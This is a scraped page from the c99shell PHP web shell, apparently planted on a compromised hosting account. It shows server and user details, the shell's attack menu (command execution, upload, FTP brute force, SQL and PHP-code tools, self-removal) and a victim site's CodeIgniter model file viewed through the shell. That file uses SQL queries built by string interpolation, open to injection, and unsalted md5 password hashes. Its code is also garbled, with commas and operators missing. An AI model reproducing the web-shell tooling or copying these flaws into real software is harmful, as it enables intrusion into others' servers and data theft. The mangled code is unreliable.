smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/test/application/models/   drwxr-xr-x
Free 3429.57 GB of 4265.01 GB (80.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Panel_model.php (4.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php


class Panel_model extends CI_Model


{


    public function 
insertTransaction($type,$user_id) {


        return 
$this->db->insert('transactions', array(


            
"id" => null,


            
"type" => $type,


            
"user" => $user_id,


            
"time" => time()


        ));


    }


    public function 
getUserByEmail($email){


       return 
$this->db->get_where('users', array('email' => $email))->result_array()[0];


    }


    public function 
getTicket($ticket_id$user_id){


       
$d $this->db->get_where('tickets', array('id' => $ticket_id'user' => $user_id))->result_array();


       return 
count($d) == $d[0] : array();


    }


    public function 
getCoupon($coupon_code){


       
$d $this->db->get_where('coupons', array('code' => $coupon_code))->result_array();


       return 
count($d) == $d[0] : array();


    }


    public function 
checkUserUsedCoupon($coupon_code$user_id){


       
$s "use_coupon:$coupon_code";


       
$d $this->db->select('id')->where('user'$user_id)->like('type'$s)->from('transactions')->get()->result_array();


       return 
count($d) > 0;


    }


    public function 
getPageContent($page_name){


       
$d $this->db->get_where('pages', array('name' => $page_name))->result_array();


       return 
count($d) == $d[0]["content"] : "";


    }


    public function 
getUserTickets($user_id){


        return 
$this->db->order_by('id''DESC')->get_where('tickets', array('user' => $user_id))->result_array();


    }


    public function 
getTicketReplies($ticket_id){


       return 
$this->db->order_by('id''DESC')->get_where('ticket_messages', array('ticket_id' => $ticket_id))->result_array();


    }


    public function 
getAnnouncements(){


        return 
$this->db->order_by('id''DESC')->get('announcements')->result_array();


    }


    public function 
getCategories() {


        return 
$this->db->order_by("id")->get('categories')->result_array();


    }


    public function 
usedNumberCount($user_id) {


        return 
$this->db->get_where('activations', array('user' => $user_id'status' => '1'))->num_rows();


    }


    public function 
supportTicketCount($user_id) {


        return 
$this->db->get_where('tickets', array('user' => $user_id))->num_rows();


    }


    public function 
getUserTransactions($user_id) {


        return 
$this->db->order_by('id''DESC')->get_where('transactions', array('user' => $user_id))->result_array();


    }


    public function 
insertSupportTicket($title$message$user_id) {


        return 
$this->db->insert('tickets', array(


            
"id" => null,


            
"name" => $title,


            
"user" => $user_id,


            
"status" => 0,


            
"time" => time()


        )) && 
$this->db->insert('ticket_messages', array(


            
"id" => null,


            
"message" => $message,


            
"ticket_id" => $this->db->insert_id(),


            
"user" => $user_id,


            
"time" => time()


        ));


    }


    public function 
insertSupportTicketMessage($ticket_id$message$user_id) {


        
$ticket $this->db->get_where('tickets', array('id' => $ticket_id'user' => $user_id))->result_array()[0];


        return 
$this->db->insert('ticket_messages', array(


            
"id" => null,


            
"message" => $message,


            
"ticket_id" => $ticket["id"],


            
"user" => $user_id,


            
"time" => time()


        )) && 
$this->db->set('status'0)->where('id'$ticket_id)->update('tickets');


    }


    public function 
updateProfile($name$city$address$user_id) {


        
$this->db->set('name'$name)->set('city', empty($city) ? "" $city)->set('address', empty($address) ? "" $address)->where('id'$user_id)->update('users');


    }


    public function 
updatePassword($password$user_id) {


        
$this->db->set('password'md5($password))->where('id'$user_id)->update('users');


    }


    public function 
resetApiKey($user_id) {


        
$this->db->set('api_key'md5($user_id.(string)time()))->where('id'$user_id)->update('users');


    }


    public function 
useCoupon($coupon_code$amount$user_id) {


        
$this->db->query("UPDATE coupons SET used = used + 1 WHERE code = '$coupon_code'");


        
$this->db->query("UPDATE users SET balance = balance + $amount WHERE id = $user_id");


        
$this->insertTransaction("use_coupon:$coupon_code:$amount",$user_id);


    }


}


?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.005 ]--